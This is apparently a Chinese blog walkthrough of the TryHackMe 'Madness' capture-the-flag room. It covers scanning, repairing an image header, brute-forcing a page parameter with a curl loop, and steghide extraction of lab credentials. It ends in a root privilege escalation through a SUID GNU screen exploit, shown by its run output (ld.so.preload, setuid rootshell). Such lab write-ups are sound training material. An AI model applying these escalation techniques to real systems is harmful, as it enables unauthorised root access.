【Tryhackme】Madness(图片隐写,SUID提权:screen)

服务发现

┌──(root💀kali)-[~/tryhackme/Madness]
└─# nmap -sV -Pn 10.10.123.91          
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-27 23:19 EDT
Nmap scan report for 10.10.123.91
Host is up (0.35s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.89 seconds

目录爆破

┌──(root💀kali)-[~/dirsearch]
└─# python3 dirsearch.py -w /usr/share/wordlists/Web-Content/directory-list-2.3-medium.txt -e* -t 100 -u http://10.10.123.91

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: * | HTTP method: get | Threads: 100 | Wordlist size: 220521

Error Log: /root/dirsearch/logs/errors-21-09-27_23-20-38.log

Target: http://10.10.123.91

[23:20:39] Starting: 
[23:20:40] 200 -   11KB - /
[23:26:05] 403 -  278B  - /server-status  

主页分析

没有任何目录,只有一个首页
网页源代码里有一行注释

They will never find me

上面代码指向一张不能打开的图片,地址是http://10.10.123.91/thm.jpg

把图片下载到本地分析

用exiftool分析文件,发现按照文件分析这本来是一个png文件,但是却以jpg作为后缀

┌──(root💀kali)-[~/tryhackme/Madness]
└─# exiftool thm.jpg
ExifTool Version Number         : 12.16
File Name                       : thm.jpg
Directory                       : .
File Size                       : 22 KiB
File Modification Date/Time     : 2021:09:27 23:56:02-04:00
File Access Date/Time           : 2021:09:27 23:56:02-04:00
File Inode Change Date/Time     : 2021:09:27 23:56:02-04:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Warning                         : PNG image did not start with IHDR

查看图片源,文件头声明是PNG

┌──(root💀kali)-[~/tryhackme/Madness]
└─# head thm.jpg
�PNG
▒
��C


▒▒��C
�����

���}!1AQa"q2��#B��R��$3br�
▒▒%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������

���w!1AQaq"2B����       #3R�br�
$4�%�▒▒&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������

用sublime打开thm.jpg文件,把
8950 4e47 0d0a 1a0a 0000 0001

改成

ffd8 ffe0 0010 4a46 4946 0001

然后保存。再打开thm.jpg文件,图片可以正常显示,根据图片提示

hidden directory
/th1s_1s_h1dd3n

打开http://10.10.123.91/th1s_1s_h1dd3n/
显示:

Welcome! I have been expecting you!
To obtain my identity you need to guess my secret!
Secret Entered:
That is wrong! Get outta here!

查看网页源代码,有一行注释

It's between 0-99 but I don't think anyone will look here

我们在网页上加上一个secret参数:http://10.10.123.91/th1s_1s_h1dd3n/?secret=0

网页发送了变化:Secret Entered: 0

编写一个bash脚本,遍历0~99的请求参数,把结果输出到answer.txt

#!/bin/bash
for i in {0..100}
do 
    curl http://10.10.123.91/th1s_1s_h1dd3n/?secret=$i >> answer.txt
done

查阅answer.txt显示73返回不一样

<html>
<head>
  <title>Hidden Directory</title>
  <link href="stylesheet.css" rel="stylesheet" type="text/css">
</head>
<body>
  <div class="main">
<h2>Welcome! I have been expecting you!</h2>
<p>To obtain my identity you need to guess my secret! </p>
<!-- It's between 0-99 but I don't think anyone will look here-->

<p>Secret Entered: 73</p>

<p>Urgh, you got it right! But I won't tell you who I am! y2RPJ4QaPF!B</p>

</div>
</body>
</html>

y2RPJ4QaPF!B像是一串加密的东西,起初以为是base64,但是解不出来。有“!”这种特殊符号也不会是用户名。所以可能是一个密码

房间的提示,
1,不要进行ssh爆破,
2,用户名是一个something ROTten的东西

所以现在就是还差一个用户名,而且这个用户名很恶心

这里完全懵逼,以为是ssh的密码,一直在找用户名
结果原来是图片隐写的密码

┌──(root💀kali)-[~/tryhackme/Madness]
└─# steghide extract -sf thm.jpg
Enter passphrase: 
wrote extracted data to "hidden.txt".
                                                                                                                                                                                                                                            
┌──(root💀kali)-[~/tryhackme/Madness]
└─# cat hidden.txt 
Fine you found the password! 

Here's a username 

wbxre

I didn't say I would make it easy for you!

以为wbxre这个是一个用户名,结果这他妈原来是一个加密的字符串,加密算法是rot13
惊不惊喜
意不意外

解密出来是:joker,参考这个网站

现在有了用户名和密码,以为终于可以登录ssh了,结果密码是错的

结果是需要把房间的这个海报照片下载到本地,然后从海报中解析出密码

wget https://i.imgur.com/5iW7kC8.jpg

解析出隐藏文件

┌──(root💀kali)-[~/tryhackme/Madness]
└─# steghide extract -sf 5iW7kC8.jpg                                                                                                                                                                                                    1 ⨯
Enter passphrase: 
wrote extracted data to "password.txt".
                                                                                                                                                                                                                                            
┌──(root💀kali)-[~/tryhackme/Madness]
└─# cat password.txt    
I didn't think you'd find me! Congratulations!

Here take my password

*axA&GF8dP

真是骚到飞起!

现在登录ssh,拿到user.txt

┌──(root💀kali)-[~/tryhackme/Madness]
└─# ssh joker@10.10.123.91          
joker@10.10.123.91's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-170-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sun Jan  5 18:51:33 2020 from 192.168.244.128
joker@ubuntu:~$ ls
user.txt
joker@ubuntu:~$ cat user.txt 
THM{d5781e53b130efe2f94f9b0354a5e4ea}
joker@ubuntu:~$ 

提权

传leapeas,枚举提权漏洞信息,发现screen 这个SUID可以提权

提权攻击脚本见这里

joker@ubuntu:/tmp$ ./exp.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
     chmod("/tmp/rootshell", 04755);
     ^
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
     setuid(0);
     ^
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
     setgid(0);
     ^
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
     seteuid(0);
     ^
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
     setegid(0);
     ^
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
     execvp("/bin/sh", NULL, NULL);
     ^
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
# id
uid=0(root) gid=0(root) groups=0(root),1000(joker)
# cat /root/root.txt
THM{5ecd98aa66a6abb670184d7547c8124a}
# 
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,651评论 6 501
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,468评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,931评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,218评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,234评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,198评论 1 299
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,084评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,926评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,341评论 1 311
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,563评论 2 333
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,731评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,430评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,036评论 3 326
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,676评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,829评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,743评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,629评论 2 354

推荐阅读更多精彩内容